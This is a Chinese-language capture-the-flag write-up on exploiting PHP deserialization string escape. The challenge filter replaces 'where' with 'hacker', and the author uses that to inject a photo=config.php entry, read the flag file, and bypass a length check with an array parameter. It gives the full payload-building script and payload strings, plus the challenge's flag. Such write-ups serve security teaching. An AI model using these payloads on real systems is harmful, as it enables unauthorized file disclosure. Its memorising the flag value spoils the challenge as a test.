知识点:1.反序列化字符串逃逸
1.开题
2.常规操作,看源码,查看robots.txt,disearch扫描
抓包,用常规的sql注入测试了一下,没啥效果,disearch扫描也结束了,看了下disearch扫描
有文件www.zip,是源码的一个包,下载下来
3.查看源码,没有路由文件,从index.php看,加载了config.php(里面有flag值),profile.php(会话已经加载的情况下读取信息),都看了一下文件,register.php(注册),注册了一个账号试了试,链接到update.php
我们对这几个文件进行分析
a.我们需要查看config.php文件
可以用文件包含和伪协议组合,但是审计代码没有可以赋予变量的文件包含
在profile内里有函数file_get_content()函数,我们尽量使函数里面的参数是config.php
b.对file_get_content()函数的值进行分析,参数的值是profile变量里的photo变量
经过
在profile.php内:
1.$profile = unserialize($profile);
2.$profile=$user->show_profile($username);
看class.php里的show_profile()
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
过滤,返回
c.我们看哪里调用了profile.php文件,index.php和update.php文件内有调用,但是在update.php的调用过程中,存在序列化,
序列化与反序列化的重叠使用,就有可能导致存在反序列化字符串漏洞
d.
$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
在filter函数中存在字符替换,将过滤字符替换成hacker,这使得我们的字符串逃逸变得可行
经过审计,我们可以确定我们的思路,就是通过反序列化字符串逃逸漏洞,将photo=config.php传进去。
4.构造需要逃逸的序列化字符串
";s:5:"photo";s:10:"config.php";}
在字符串逃逸的过程中,主要利用的就是
;是字符的截断
序列化是严格的表示形式,会根据相应的字符数目进行截断
}后的会自动抛弃
这样我们可以利用where(5字节)替换成了hacker(6字节)
在替换过程中增加nickname的值的长度,使截断提前,从而使构造的payload形成逃逸,将变量值赋到photo里
从where替换到hacker字符一共增加了一个,payload一共33个,所以nickname需要33个where组成
贴脚本
<?php
function filter($string) {
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone']='12345678901';
$profile['email']='q@.q.c';
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] ='ffgfgfgf';
$a=serialize($profile);
echo $a."\n";
$b=filter($a);
echo $b."\n";
$b=unserialize($b);
echo var_dump($b); #打印数组
?>
运行后:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:8:"ffgfgfgf";}
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:8:"ffgfgfgf";}
array(4) { ["phone"]=> string(11) "12345678901" ["email"]=> string(6) "q@.q.c" ["nickname"]=> string(198) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["photo"]=> string(10) "config.php" }
构造完毕
5.将参数传到update.php,传参前看一下代码,对参数的长度是有限制的,nickname的长度不能大于10;
我们分析一下变成数组的话该怎么改
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:6:"q@.q.c";s:8:"nickname";a:1:{s:198:"33个where";s:5:"photo";s:10:"config.php";}"};s:5:"photo";s:8:"ffgfgfgf";}
这样就能看明白,我们 需要在where后面的;后加个}进行截断
即
";}s:5:"photo";s:10:"config.php";}
where也需要多加一个了
构造的payload:
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
6.进入update.php,随便在register.php注册个账号登录进去
通过update.php进行抓包
发包后,在进入profile.php,进行抓包
对base64进行解码,得到flag
flag{14ddcb13-2588-4ae7-9413-2cd4cd94fbe0}